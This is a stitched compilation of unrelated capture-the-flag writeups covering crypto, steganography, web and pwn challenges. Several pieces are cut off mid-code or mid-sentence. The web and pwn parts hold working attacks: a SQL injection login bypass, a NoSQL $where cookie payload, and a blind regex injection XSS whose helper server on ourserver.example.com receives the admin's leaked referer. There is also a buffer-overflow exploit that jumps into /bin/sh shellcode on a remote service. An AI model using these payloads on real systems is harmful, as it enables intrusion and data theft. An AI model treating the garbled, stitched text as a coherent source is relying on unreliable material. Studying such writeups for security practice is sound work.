ๆกไปถ็ซžไบ‰ๅคงๅคšๆ•ฐ้€‰ๆ‰‹้€‰ๆ‹ฉไบ†ๆกไปถ็ซžไบ‰๏ผŒ้‚ฃไนˆไนŸๆ˜ฏ็›ธๅŒ็š„ๆ€่ทฏ๏ผŒไธ€็›ด็”Ÿๆˆไธ€ๅฅ่ฏๆœจ้ฉฌ็„ถๅŽไธ€็›ด่ฎฟ้—ฎ๏ผŒ่ฟ™้‡Œๅฐฑไธ่ฟ‡ๅคš้˜่ฟฐ
# Typeracer (119 Points) # ![TASK](https://imgur.com/WA3jGN8.png) The task was simple, we have to write the text that is shown so fast, I wrote this Javascript script to simulate keyboard typing :D ```js var div=document.getElementById('Ym9iYmF0ZWEh').children;var dict={};for(var i=0;i
# Quirky Resolution We have the file ![image](https://github.com/goswami-rahul/ctf/raw/master/rgbCTF2020/quirky_resolution/quirky_resolution.png) We see only white color.Analyzing the file, we can see that each pixel is either (255, 255, 255) (white), or (254, 254, 254), so indistinguishable by eyes. Create a new file with all (254, 254, 254) pixels to (0, 0, 0) (black) to clearly see the pattern. ```py#!/usr/bin/env pythonfrom PIL import Imageimport numpy as np img = np.array(Image.open('quirky_resolution.png'))for i in range(img.shape[0]): for j in range(img.shape[1]): for k in range(img.shape[2]): if img[i][j][k] == 254: img[i][j][k] = 0Image.fromarray(img).save('qr.png')``` ![QR](https://github.com/goswami-rahul/ctf/raw/master/rgbCTF2020/quirky_resolution/qr.png) It's a QR code. Scan this file using any QR scanner and get the flag. ```txtrgbCTF{th3_qu1rk!er_th3_b3tt3r}```
# Lo-Fi writeup by [haskal](https://awoo.systems) for [BLร…HAJ](https://blahaj.awoo.systems) **Forensics/OSINT****499 points****7 solves****(BLร…HAJ got 1st solve :shark: :chart_with_upwards_trend:)** >I made a "inspirational" lo-fi track! ft. Alec's very smooth aussie accent>>You know, "Just do it", "Don't let your dreams be ones and zeroes", I'm pretty sure he says>something along those lines... all inspirational sayings mean the same thing anyway provided file: <https://git.lain.faith/BLAHAJ/writeups/raw/branch/writeups/2020/rgbctf/lofi/lofi.wav> ## writeup listening to the provided file, it's just a short lo-fi hip hop beat to study/chill/pwn to but atthe very end you can notice the very distinctive sound of encoding something in the spectrogram.visualize the spectrogram to see this, here i used audacity. ![an audio spectrogram displaying the encoded word "tinyurl"](https://git.lain.faith/BLAHAJ/writeups/raw/branch/writeups/2020/rgbctf/lofi/spectrogram.png) this is all we get here, no full url yet. it's not going to be that easy :P. however from the flavortext we can deduce that the rest of the url might be encoded in this song as ones and zeroes. here ilistened to the song again and noticed that in the second part, the synth notes are really off-beat,which is strange even for lo-fi. they don't seem to follow any sort of pattern. this must be wherethe encoded data is. here i go really jank low tech and take a gigantic w i d e screenshot of audacity and load it intoglimpse to try to extract these notes. i overlaid a grid and tweaked it until it matched the patternof synth notes in the waveform. it's important here to realize the synth notes are the ones thatrise going from quiet to loud. the loud to quiet parts are the bass drum and the snare that make upthe beat. therefore, look for triangles that point left, and ignore the ones that point right. ifyou listen to the song while doing this it's also more obvious where the notes are exactly. we findthat the synth notes are triplets, with 6 intervals (6 bits) per measure. ![the image as described, now the encoded bits are slightly clearer](https://git.lain.faith/BLAHAJ/writeups/raw/branch/writeups/2020/rgbctf/lofi/grid.png) write down the bits, 1 if there's a note and 0 if there's no note, and then decode as 8-bit ascii.append this to `https://tinyurl.com/<data goes here>` and the resulting url contains the flag. ## addendum i'm really surprised by how few solves this got. i guess it's kinda hard to notice what's going onunless you listen carefully and read the flavor text.
Taking a careful look at `index.js`, we noticed that line 57 can call not only methods of `converters` but also methods of `Object.prototype`.Thus, we searched JavaScript reference for abusable methods of `Object.prototype`.After a while, we realized that when we set `request.body.input` to `FLAG_(SessionID)` and call `Object.prototype.__defineSetter__`, we can define a setter that leaks the code of `flagConverter`.Another request invoked the setter and leaked the code of `flagConverter`, so we got `flag`.
This is just a simple steganography challenge. We are provided with a blank-appearing image. Analysing it with [Aperi's Solve](http://aperisolve.fr), we get a QR code. Scanning the QR code will give us a some random letter with the flag in it Flag : ```rgbCTF{th3_qu1rk!er_th3_b3tt3r}```
# notes (pwn)###### Creator: Tom Hatskevich * **Tell to the participators that the challenge running with glibc version 2.31** ### binary compilation:```gcc notes.c -o notes -s```### setup docker container:```bashsudo docker build --tag notes:1.0 . # build docker imagesudo docker run --detach --publish 12345:12345 --name pwn_notes notes:1.0 # run docker imagesudo docker rm pwn_notes # delete runnig docker image``` ### Exploit:* Need to modify the code according to binary location (local/remote)* ```python p = remote('127.0.0.1', 12345) # remote binary service #p = process('./notes') # local binary ``````bashpython2 exploit.py```* Dependencies: * pwntools
In Dead Drop 1 and Dead Drop 2, the flag is encrypted using similar encryption method:```#!/usr/bin/python from Crypto.Util.number import *import randomfrom flag import flag p = 22883778425835100065427559392880895775739 flag_b = bin(bytes_to_long(flag))[2:]l = len(flag_b) enc = []for _ in range(l): a = [random.randint(1, p - 1) for _ in range(l)] a_s = 1 for i in range(l): a_s = a_s * a[i] ** int(flag_b[i]) % p enc.append([a, a_s]) f = open('flag.enc', 'w')f.write(str(p) + '\n' + str(enc))f.close()``` Brief explanation:- Flag is converted to binary- A random array is generated with the same length `l`as the flag bits- The product (modulo `p`) of all array element corresponding to bit 1 of the flag is calculated- This calculation is repeated `l` times- We are given the arrays and the products, with those we have to find a way to recover the flag The fact that this challenge has a sequel means that there are at least 2 ways to solve it, however only 1 of them is able to solve the sequel. The other [writeup by team "from Sousse, with love"](https://ctftime.org/writeup/22123) describes the method that can solve both, but it is quite complicated. The method described in this writeup is a lot easier to understand for most people (however it cannot solve Dead Drop 2). The encryption can be broken in 3 steps:- Exploit the properties of modulo multiplication to recover the flag bits- Use regex word search to guess the flag- Brute force the missing bits to recover the final flag ## 1. Exploit the properties of modulo multiplication to recover the flag bits Properties of multiplication:- If `a_s` is not divisible by `d`, none of its factor should not be divisible by `d`- If `a_s` is divisible by a prime divisor `d`, at least one of its factor must be divisible by `d`The above properties hold true for multiplication modulo `p` if `d` is a divisor of `p`. Exploiting those properties, the 0 and 1 bits can be recovered as follow:- If `a_s` is not divisible by `d`, and `a[i]` is divisible by `d`, that means `a[i]` is not included in the multiplication (`flag_b[i] = 0`)- If `a_s` is divisible by `d`, and `a[i]` is the only element divisible by `d`, that means `a[i]` is included in the multiplication (`flag_b[i] = 1`) We also know that the flag format is `ASIS{XXXXXXXX}`, in which only alphanumeric and underscore `_` are used. With this knowledge combined we can recover 2/3 of the flag bits. Program 1: ```#!/usr/bin/python from Crypto.Util.number import *import binascii p = 19*113*2657*6823*587934254364063975369377416367div_list = [19, 113, 2657, 6823, 587934254364063975369377416367] # flag_enc.enc contains the encrypted data (p removed)enc = open('flag_enc.enc', "rb").read().decode().replace('L', '')enc = eval(enc) l = len(enc)print('Length:', l) def has_divisor(n): return any([n % i == 0 for i in div_list]) def make_elem(c): if c == '0': return -100 elif c == '1': return 100 else: return 0 def make_array(s): return [make_elem(c) for c in s if c != ' '] def back2bit(n): if n > 0: return '1' elif n < 0: return '0' else: return '?' def recover_0bits(i): a, a_s = enc[i] for d in div_list: if a_s % d != 0: for j in range(l): if a[j] % d == 0: flag_b[j] = -100 def recover_1bits(i): a, a_s = enc[i] for d in div_list: if a_s % d == 0: found = False for j in range(l): if a[j] % d == 0 and flag_b[j] == 100: found = True if found: continue count = 0 for j in range(l): if a[j] % d == 0 and flag_b[j] >= 0: count += 1 for j in range(l): if a[j] % d == 0 and flag_b[j] >= 0: if count == 1: flag_b[j] = 100 def substitute_binary(bin_str, n, ln): bin_n = bin(n)[2:].zfill(ln) c = 0 new_str = '' for s in bin_str: if s == '?': new_str += bin_n[c] c += 1 else: new_str += s return new_str def text_from_bits(bits, encoding='utf-8', errors='surrogatepass'): n = int(bits, 2) return long_to_bytes(n).decode(encoding, errors) ALPHA = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{_}'def printable(s): return len([x for x in s if x not in ALPHA]) == 0 def brute_binary(bin_str, prefix = '', substr=''): bin_str = bin_str.replace(' ', '') ln = bin_str.count('?') res = [] for i in range(1 << ln): nbs = substitute_binary(bin_str, i, ln) nbst = text_from_bits(nbs) if printable(nbst) and substr in nbst: res.append(nbst) #print(nbs, prefix + nbst) return res ''' MAIN SOLVING CODE '''flag_b = make_array('1000001 01010011 01001001 01010011 01111011') + [0] * (l - 47) + make_array('01111101') for i in range(7, l, 8): flag_b[i] = -100 for i in range(l): recover_0bits(i)for x in range(10): for i in range(l): recover_1bits(i) flag_b = [back2bit(x) for x in flag_b]flag_b = '0' + ''.join(flag_b)print(flag_b) for i in range(0, l + 1, 8): c = flag_b[i:i + 8] c = ''.join(brute_binary(c)) print(i >> 3, c)``` Ouput: ```1000001010100110100100101010011011110110??10?010??1????0?????010?0??1110????1??0?1???010??0?0??0??1?0?10101???10??011??0?1???0101?01??00?11010001???0010?1??1?00??000010?1??0?00?101?010??????101?0??100110?10?00??00??01?1????0?????0?0?10?00?01?011?0011??10100110??00??1?01?01????110????0??0?0?0?010?1????1010??0010?1???110??0?0?100?10?000???11100011?101011111010 A1 S2 I3 S4 {5 15QUqu6 0123456789PQRSTUVWXYZ_pqrstuvwxyz{}7 159AEIMQUYaeimquy}8 GOW_9 4567DEFGLMNOTUVW_defglmnotuvw}10 159aeimquy}11 ABCHIJKabchijk12 139QSYqsy{13 QSUWY_14 LMNOlmno15 159aeimquy}16 HJLNhjln17 4t18 AIQYaiqy19 46dflntv20 Aa21 028bhjprxz22 im23 13579ACEGIKMOQSUWY_acegikmoqsuwy{}24 BFJNbfjn25 delm26 012327 PQRSTUVWXYZ_pqrstuvwxyz{}28 014589ADEHILMPQTUXYadehilmpqtuxy}29 ahi30 LNln31 emu}32 024633 23RSZrsz{34 CGKOSW_cgkosw{35 012389ABCHIJKPQRSXYZabchijkpqrsxyz{36 AEQU37 13579acegikmoqsuwy{}38 AIQY39 37cgkosw{40 ACIKacik41 0442 Nn43 544 }``` ## 2. Use regex word search to guess the flag We know that the text inside the flag consists of multiple meaningful words written in mixed case 13375p34k, seperated by underscore. Possibilities for underscores are at index 6, 8, 9, 13, 23, 27, 34, so we have 5-7 words. The first words are short so let's try backwards. Last word:```35 012389ABCHIJKPQRSXYZabchijkpqrsxyz{36 AEQU37 13579acegikmoqsuwy{}38 AIQY39 37cgkosw{40 ACIKacik41 0442 Nn43 5``` Regex: `[olebgabchijkpqrsxyz][aequ][lstacegikmoqsuwy][aiqy][etcgkosw][acik][oa]ns` => [dcode.fr](https://www.dcode.fr/word-search-regexp) gives us 6 options, of which `equations` seems the most suitable. ```28 014589ADEHILMPQTUXYadehilmpqtuxy}29 ahi30 LNln31 emu}32 024633 23RSZrsz{``` Regex: `[osbgadehilmpqtuxy][ahi][ln][emu][oab][ersz]` => [dcode.fr](https://www.dcode.fr/word-search-regexp) gives us 5 options, of which `linear` seems the most suitable. The middle word is a bit tricky, position 23 is not underscore:```14 LMNOlmno15 159quy}16 hjln17 4t18 AIQYaiqy19 46dflntv20 Aa21 028bhjprxz22 im23 13579ACEGIKMOQSUWY_acegikmoqsuwy{}24 BFJNbfjn25 delm26 0123``` Regex: `[lmno][lisgquy][hjln][at][aiqy][abdflntv][a][obhjprxz][im][liestgacegikmoqsuwy][bfjn][delm][oile]` => [dcode.fr](https://www.dcode.fr/word-search-regexp) gives us `multivariable`. With these 3 words decrypted, we substitute them back to narrow down the possibilities for the first 2 words: ```flag_b = make_array('1000001010100110100100101010011011110110??10?010??1????0?????010?0??1110????1??0?1???010??0?0??0??1?0?1 01011111 01?01101 01110101 01?01100 01110100 01?01001 01110110 01?00001 01110010 01101001 01?00001 01?00010 01101100 00110011 01011111 01?01100 01101001 01?01110 01100101 00110100 01?10010 01011111 00110011 01010001 01110101 01000001 00110111 01?01001 00110000 01?01110 00110101 01111101')``` Output: ```5 15QUqu6 4567tuvw}7 159AEIMQUYaeimquy}8 GOW_9 4567DEFGLMNOTUVW_defglmnotuvw}10 159aeimquy}11 ABCHIJKabchijk12 139QSYqsy{``` Now there are over one hundred possibilitites, of which `its_like` make the most sense (remember tripolar flag also starts with `its`). The flag we recovered so far: `ASIS{its_like_multivariable_linear_equations}` (the words need to be replaced with the correct combination of lowercase/uppercase and digits). ## 3. Brute force the missing bits to recover the final flag With only 13 bits missing, we can bruteforce them to recover the final flag: ```#!/usr/bin/python from Crypto.Util.number import *import binascii p = 19*113*2657*6823*587934254364063975369377416367div_list = [19, 113, 2657, 6823, 587934254364063975369377416367] enc = open('flag_enc.enc', "rb").read().decode().replace('L', '')enc = eval(enc) l = len(enc)print('Length:', l) def substitute_binary(bin_str, n, ln): bin_n = bin(n)[2:].zfill(ln) c = 0 new_str = '' for s in bin_str: if s == '?': new_str += bin_n[c] c += 1 else: new_str += s return new_str def text_from_bits(bits, encoding='utf-8', errors='surrogatepass'): n = int(bits, 2) return long_to_bytes(n).decode(encoding, errors) def enc_p(a, arr): a_s = 1 for i in range(l): a_s = a_s * a[i] ** int(arr[i]) % p return a_s def final_brute(bin_str): a, a_s = enc[0] bin_str = bin_str.replace(' ', '') ln = bin_str.count('?') for i in range(1 << ln): nbs = substitute_binary(bin_str, i, ln) res = enc_p(a, nbs) if res == a_s: print('Found', text_from_bits('0' + nbs)) break return res flag_b = '1000001 01010011 01001001 01010011 01111011 00110001 00110111 00110101 01011111 01?01100 01101001 01?01011 00110011 01011111 01?01101 01110101 01?01100 01110100 01?01001 01110110 01?00001 01110010 01101001 01?00001 01?00010 01101100 00110011 01011111 01?01100 01101001 01?01110 01100101 00110100 01?10010 01011111 00110011 01010001 01110101 01000001 00110111 01?01001 00110000 01?01110 00110101 01111101'final_brute(flag_b)``` Final flag: `ASIS{175_Lik3_Multivariabl3_LiNe4r_3QuA7i0n5}`
# login Author: [roerohan](https://github.com/roerohan) Basic SQL Injection. # Requirements - Basic knowledge of SQL Injection. # Source - https://login.2020.redpwnc.tf/ # Exploitation This is a beginner SQL Injection challenge. Just pass the username and the password as `' or 1=1 -- `, it will return the flag in an `alert`. The flag is: ```flag{0bl1g4t0ry_5ql1}```
# Fortune Cookie*Defenit CTF 2020 - Web 507*Writeup by Payload as ToEatSushi* ## Problem Here's a test of luck!What's your fortune today? ## Look up ```javascriptapp.get('/flag', (req, res) => { let { favoriteNumber } = req.query; favoriteNumber = ~~favoriteNumber; if (!favoriteNumber) { res.send('Please Input your favorite number ?์‚ƒ'); } else { const client = new MongoClient(MONGO_URL, { useNewUrlParser: true }); client.connect(function (err) { if (err) throw err; const db = client.db('fortuneCookie'); const collection = db.collection('posts'); collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` }) .then(result => { if (favoriteNumber > 0x1337 && result) res.end(FLAG); else res.end('Number not matches. Next chance, please!') }); client.close(); }); }})``` To get flag, we have to pass lottery based on Math.floor. If I have a huge luck, I could pass at once, but I'm not. Since we know the secret value for signing cookie, we can make every structure in `req.signedCookies`. ```javascriptapp.get('/posts', (req, res) => { let client = new MongoClient(MONGO_URL, { useNewUrlParser: true }); let author = req.signedCookies.user; if (typeof author === 'string') { author = { author }; } client.connect(function (err) { if (err) throw err; const db = client.db('fortuneCookie'); const collection = db.collection('posts'); collection .find(author) .toArray() .then((posts) => { res.render('posts', { posts }) } ); client.close(); }); });``` One more intersting point is `req.signedCookies.user` is given as object in `collection.find()`. When we give `$where` key for `user`, then javascript code will be evaluated. ## Race! After `/posts` has a vulnerability, further steps are easy. Build a javascript code that overrided `Math.floor`, and make a race condition. It's all ## Exploitation 1. Make cookie that includes a javascript code overwrites `Math.floor` in `$where`2. Pray for race condition ## Payload To make cookie,```javascriptconst express = require("express");const cookieParser = require("cookie-parser"); const app = express(); app.use(cookieParser('?' + '?'));app.use(express.urlencoded()); app.get('/test', (req, res) => { res.cookie('user', {author: 'maratang', $where: 'Math.floor = function(x) { return 5000; }; return 1 == 2;'}, {signed: true}); res.send('');});``` **`Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}`**
`slick-logger` `web` `5 solvers` ```gofunc searchHandler(w http.ResponseWriter, r *http.Request) { channelID, ok := r.URL.Query()["channel"] if !ok || !validateParameter(channelID[0]) { http.Error(w, "channel parameter is required", 400) return } queries, ok := r.URL.Query()["q"] if !ok || !validateParameter(queries[0]) { http.Error(w, "q parameter is required", 400) return } users := []User{} readJSON("/var/lib/data/users.json", &users) dir, _ := strconv.Unquote(channelID[0]) query, _ := strconv.Unquote(queries[0]) if strings.HasPrefix(dir, "G") { http.Error(w, "You cannot view private channels, sorry!", 403) return } re, _ := regexp.Compile("(?i)" + query) messages := []Message{} filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error { if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") { newMessages := []Message{} readJSON(path, &newMessages) for _, message := range newMessages { if re.MatchString(message.Text) { // Fill in user info for _, user := range users { if user.ID == message.UserID { messages = append(messages, Message{ Text: re.ReplaceAllString(message.Text, "<em>$0</em>"), UserID: message.UserID, UserName: user.Name, Icon: user.Profile.Image, Timestamp: message.Timestamp, }) break } } } } } return nil }) result, _ := json.Marshal(messages) w.WriteHeader(http.StatusOK) header := w.Header() header.Set("Content-type", "application/json") fmt.Fprint(w, string(result))}``` in search function, they get input from us, `channel` and `q` but they use specific parameter form like `"value"`, and unquote it. so if we give `"""`, it is going to blank, we could search like `like '%'` in mysql db. (thanks for @Payload at GON) from now, ```gofilepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error { if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") { newMessages := []Message{} readJSON(path, &newMessages)``` we could get secret channel's admin message, ```gousers := []User{}readJSON("/var/lib/data/users.json", &users) ... for _, user := range users { if user.ID == message.UserID {``` but because of this condition, there is no userid `USLACKBOT` at `users.json` ```go for _, message := range newMessages {>>> if re.MatchString(message.Text) { // Fill in user info for _, user := range users {``` but our searching word, `query`, is going to argument of `regexp.Compile`, it is used before `userid` matching. so we could give it blind regex injection. (https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) as searching words' length is growing, accuracy of blind regex injection decreases. moderately slice our searching words to get flag! and accuracy is little bit low, so we send same payload for several time, and get statistics of most delayed word! XD ```[*] 5 : 0.06300497055053711[*] } : 0.062014102935791016[*] N : 0.05901360511779785---------------------[*] } : 0.06202411651611328[*] 0 : 0.060013771057128906[*] W : 0.058012962341308594---------------------[*] U : 0.09402132034301758[*] B : 0.0660254955291748[*] } : 0.06601500511169434---------------------[*] } : 0.06301426887512207[*] Z : 0.06101393699645996[*] Y : 0.060013532638549805---------------------[*] } : 0.06601476669311523[*] H : 0.06502485275268555[*] 6 : 0.05902361869812012---------------------[Finished in 13.1s] ## this could be `}` is the currect word``` check my exploit https://github.com/JaewookYou/ctf-writeups/blob/master/2020TSGCTF/slick-logger/ex.py
The flag is in the admin's note, so we had to do XSS.Looking at `app.js` carefully, we realized that line 60 builds a regular expression object from an arbitrary input of `document.location.search` and line 61 does a test using the regular expression object.Thus, we decided to do a blind regular expression injection attack, which is explained in https://diary.shift-js.info/blind-regular-expression-injection/.When we set `document.location.search` to `(?=^He11o")((((.*)*)*)*)*salt`, one of the following two things occurs. * If there is a note that starts with `He11o`, the evaluation of the regular expression will take a long time and slow down browsers.* If there is not, the evaluation will be done quickly. To know the speed of browsers, we made browsers load a header image from our server.However, browsers load a header image before evaluating the regular expression.Therefore, we wrote the server-side script that does not serve an image quickly but waits 2 seconds and redirects browsers to another server. ```const http = require('http');const { performance } = require('perf_hooks');const { URL } = require('url');const server = http.createServer((req, res) => { setTimeout(() => { res.writeHead(302, { 'Location': 'http://ourserver.example.com:8001/?r=' + encodeURIComponent(req.headers.referer) + '&s=' + encodeURIComponent(performance.now()) }); res.end(); }, 2000);});server.listen(8000); const server2 = http.createServer(function (req, res) { const url = new URL(req.url, 'http://ourserver.example.com:8001'); console.log(url.searchParams.get('r')); console.log(performance.now() - parseInt(url.searchParams.get('s'))); res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('ok\n');});server2.listen(8001);``` When the evaluation of the regular expression slows down browsers, it significantly increases the time between connecting to the 1st server and connecting to the 2nd server, so we can determine whether there is a note starting with a prefix or not.Therefore, making the admin visit `http://34.84.161.130:18364/?^(?=^TSGCTF\{A)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/`, `http://34.84.161.130:18364/?^(?=^TSGCTF\{B)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/`, ..., we determined the flag.
# e**Category:** Cryptography **Points:** 144 **Description:**> n = 0x5fb76f7f36c0d7788650e3e81fe18ad105970eb2dd19576d29e8a8697ebbd97f4fc2582bf1dc53d527953d9615439ca1b546b2fc1cd533db5fce6f72419f268e3182c0324a631a17d6b3e76540f52f2df51ca34983392d274f292139c28990660fa0e23d1b350da7aa7458a3783107a296dcd1720e32afb431954d8896f0587cd1c8f1d20701d6173b7cffe53679ebda80f137c83276d6628697961f5fcd39e18316770917338c6dc59a241dcdc66417fed42524c33093251c1d318b9dbeb6c3d0a69438b875958e8885d242d196e25bc73595e7f237c8124e07a79f7066f2dee393e2130306ba29e7ece1825798ff8b35416b3a0d96bcdc6eca5616ea2874954f8f88232450ddad3e109338bcc5d84e7b592a6b0871bd4130b84f81ed188e9d5495c8545aa8dea2b65e8605f5a49e3a1c221cbcc301665187658784a8f42a23c2ca2572477ba56ff19934019b48f5a1ab8a50626c85bdd476b11e8c1fb0b740c2370de3da5cc06371a7aa2c4e12eee3dc4cda07a8c84ba2bc3ee2017156468af95111d7ee5152ce35e66fa027a944b43c27fbd27faa5b4f9075be3526a7a5be8a533b523cd5c738c724e97597fc2e3666cfcad7c79d972ff8d9572100e860395cdc3761af3f4cc225a6df83a55802723f95cfba5918d83913f2cc9b219210249928c291310d449042772e2d0a50620d666a137f79770de6f10196b30cc756e1>> e = 0b1101>> c = 0x6003a15ff3f9bc74fcc48dc0f5fc59c31cb84df2424c9311d94cb40570eeaa78e0f8fc2917addd1afc8e5810b2e80a95019c88c4ee74849777eb9d0ee27ab80d3528c6f3f95a37d1581f9b3cd8976904c42f8613ee79cf8c94074ede9f034b61433f1fef835f2a0a45663ec4a0facedc068f6fa2b534c9c7a2f4789c699c2dcd952ed82180a6de00a51904c2df74eb73996845842276d5523c66800034351204b921d4780180ca646421c61033017e4986d9f6a892ed649c4fd40d4cf5b4faf0befb1e2098ee33b8bea461a8626dd8cd2eed05ccd471700e2a1b99ed347660cbd0f202212f6c0d7ad8ef6f878d887af0cd0429c417c9f7dd64890146b91152ea0c30637ce503635018fd2caf436a12378e5892992b8ec563f0988fc0cebd2926662d4604b8393fb2000 ## WriteupHere we are given a public exponent of 13, a ciphertext, and a modulus (both in hex).I don't like looking at hex for RSA, so I converted it to decimal:```n = 390489435257757050962694900628597750000579222652331667618284165302943905225288969762176855801097841580556025206135063119377780258773946551477397214530192584542559975339905571052158012999468964332437424628306511823269722453860362280496202533043021337796709339953817006833706504476313712943965322096302491056783227523784482002015145826987110574460307401934641874704050677704711801356268639773155081360828180903299964526589331336235306332567448562160526113866018006123967625576962689761521605387494709446518692462619862696168918816662536077370130661612070397479668829129920065326461187098803231397068051063929181738677526073658243869002572485447843169095810970975008795690074220899938136361892311637145808179133421447144085978655477817360358554032010516385983131407000011685574404126645116055363989608798299433959920227740092093920293556264000720381725702113290830326487540883170568741677111457568414739635182616494007311080902460736310863610217949372424386793484900002898788953599811705062201758177232830116056373978679467452122685972908266494259227709026880378075787599801726114638151543214172984729176207988155050429283715199503476101477015502266718187756254132831832109660502543721206835505701564820158859089751904108288138208040673e = 13c = 106043754914029053332380422656979154558759375897122425881860894698990092522305749145737374365974220063939891079764890878154070613914922418958583544498027475665662636594704078148882769433156473437121146773425968949033386468829167234570619323371997036112007508384568510674710537942785775371160931981856023034244395378977429902662365257811359886125721032794417995359223839236947456899351021253568576347533100384607077413225615309141290386668460232755119696828398399706666171431603664375206400701950963668907213087581791373592734473983283263803333104246685774546585505902951125395519774268152638482568171628156316175459200284173273491875899659385136852897094442953202427686882030389289946251863304968551409170000000000000``` I noticed how small the e was and figured that it might be a possibility to take the13th root of this ciphertext instead of finding the private exponent and decryptingfrom there. Giving it a shot in python3 and a little help from gmpy2, I came up with:```from Crypto.Util.number import long_to_bytesfrom pwn import *import gmpy2 c = 106043754914029053332380422656979154558759375897122425881860894698990092522305749145737374365974220063939891079764890878154070613914922418958583544498027475665662636594704078148882769433156473437121146773425968949033386468829167234570619323371997036112007508384568510674710537942785775371160931981856023034244395378977429902662365257811359886125721032794417995359223839236947456899351021253568576347533100384607077413225615309141290386668460232755119696828398399706666171431603664375206400701950963668907213087581791373592734473983283263803333104246685774546585505902951125395519774268152638482568171628156316175459200284173273491875899659385136852897094442953202427686882030389289946251863304968551409170000000000000 plain, extra = gmpy2.iroot(c, 13)flag = long_to_bytes(plain).decode()log.info("Flag: {}".format(flag))log.success("Actual Flag: {}".format(flag[::-1]))``` **Output:**```$ python3 e.py[*] Flag: }31_rebmun_ykcul{FTCbgr[+] Actual Flag: rgbCTF{lucky_number_13}``` ## FlagrgbCTF{lucky_number_13} ## Resources[RSA Info](https://en.wikipedia.org/wiki/RSA_(cryptosystem))
The bug is stack buffer overflow ith strcat at 0x08049A07If you hit menu 2 you can enter the name of a train. It is up to 500 bytes long.```void __noreturn menu_show(){ char name[500]; // [esp+8h] [ebp-200h] int v1; // [esp+1FCh] [ebp-Ch] printw("Give me the name of the train: "); read_string(name, 500);``` Later the name is strcat'ed on the much smaller buffer.```signed int __cdecl show_train(char *name){ char *v1; // eax char v3[47]; // [esp+9h] [ebp-3Fh] char *v4; // [esp+38h] [ebp-10h] char *s; // [esp+3Ch] [ebp-Ch] strcpy(v3, "./data/"); strcat(v3, name); // <<< the bug is here, sbof v1 = &v3[strlen(v3)]; *(_DWORD *)v1 = 'art.'; *((_WORD *)v1 + 2) = 'ni'; v1[6] = 0;```Just send the long name and we contrrol `eip` ```Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? ()```The stack is executable. rp++ (https://github.com/0vercl0k/rp) finds a handy gadget ```0x81fff6f: jmp *%esp```We put shellcode on the stack and jump to it. Execute `ls -tr data | tail -n 5` to get the names of the last trains.Grab the flags with a separate connection for each train. Final exploit.```#!/usr/bin/env pythonfrom pwn import * def start(): return remote('fd66:666:1::2', 8888) with start() as io: io.sendline('2') shell = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80' pl = b'' pl += b'a' * cyclic_find(b'paaa') pl += p32(0x81FFF6F) pl += shell io.sendline(pl) io.interactivae() io.sendline('ls -tr data | tail -n 5; exit;') res = io.recvall() trains = re.findall('([a-z0-9A-Z]+)\\.train', res) for i in trains: with start() as io: io.sendline('2') io.sendline(i) data = io.recvall() print data``` ``` _____________________________ ____________________________________________ _,-'/| #### | | #### ||11111111111111111111111111111111111111111111| _-' | | ||11 FAUST_Xwjk4AABBcb4IaQAAAAAaFpTtaTojQz 111|(------------------mars-express-------||--------------------------------------------| \----(o)~~~~(o)----------(o)~~~~(o)--'`-----(o)~~~~(o)--------------(o)~~~~(o)-----' ```
## Description If a difference could difference differences from differences to calculate differences, would the difference differently difference differences to difference the difference from different differences differencing? ## Included Files DifferenceTest.java ## Writeup Upon first opening the file it's easy to notice that some characters aren't correct. I opened it up in hexedit and found the first value and, taking from the heavy-handed hints in the description, I subtracted the hex value for 't' from it since that made sense for what would finish off "impor" and the resultant value was 0x72, or 'r'. Knowing that the flag begins with an r, it seemed like each of the corrupted characters had been incremented by the values of a flag character. So, I used a mixture of knowledge of Java with some common sense and corrected the file and then wrote a simple Go program that goes through each character and prints out all the differences that don't come out to 0. package main import ( "io/ioutil" "fmt" ) func main() { orig, err1 := ioutil.ReadFile("DifferenceTest.java") corr, err2 := ioutil.ReadFile("corrected.java") if err1 != nil || err2 != nil { fmt.Printf("Error opening files.\n") return } for i, curr := range orig { diff := curr - corr[i] if diff != 0 { fmt.Printf("%c", diff) } } return }
# vaporize1**Category:** ZTC **Points:** 190 **Description:**> Do you believe in synesthesia?>> ~ztcintern#5015>> **Given:** vaporize1.mp3 ## WriteupOne of the first things I usually do when given an audio file (MP3 or WAV) ischeck the spectrogram in **Sonic Visualizer** or **Audacity**. I usually prefer **SonicVisualizer**, which is what I will use here. Pulling the spectrogram up gives usthe flag. ## FlagrgbCTF{s331ng_s0undz} ## Resources[Audacity](https://www.audacityteam.org/) [Sonic Visualizer](https://www.sonicvisualiser.org/)
# Alien Transmission 1**Category:** Forensics/OSINT **Points:** 219 **Description:**> I was listening to my radio the other day and received this strange message...I think it came from an alien?>> ~BobbaTea#6235>> **Given:** command_1 ## WriteupListening to the message doesn't really give us much, but we have a few ways totry to analyze this. First thing I do is pop it open in **Sonic Visualizer** to seeif anything pops up in the spectrogram or if I can see anything interesting likea pattern in the frequencies, but nothing special there. After a little digging, I remembered there is a thing called Slow-Scan Television(SSTV)! This is a form of steganography used nowadays to hide JPEGsor PNGs in WAV audio files, but it was originally used to transmit images via radiosignals from the moon and back. There is a Wiki page on SSTV and is worth the read! There is a writeup done on a similar challenge from picoCTF 2019, which I willprovide in the references because I pretty much go off of it. There is a Linuxapplication called Qsstv, which looks for SSTV images in a wav file. ```$ apt-get install qsstv$ pactl load-module module-null-sink sink_name=virtual-cable22$ pavucontrol # A GUI will pop-up, go to the "Output Devices" tab to verify that you have the "Null Output" device$ qsstv # The program GUI will pop-up, go to "Options" -> "Configuration" -> "Sound" and select the "PulseAudio" Audio Interface$ # Back in the 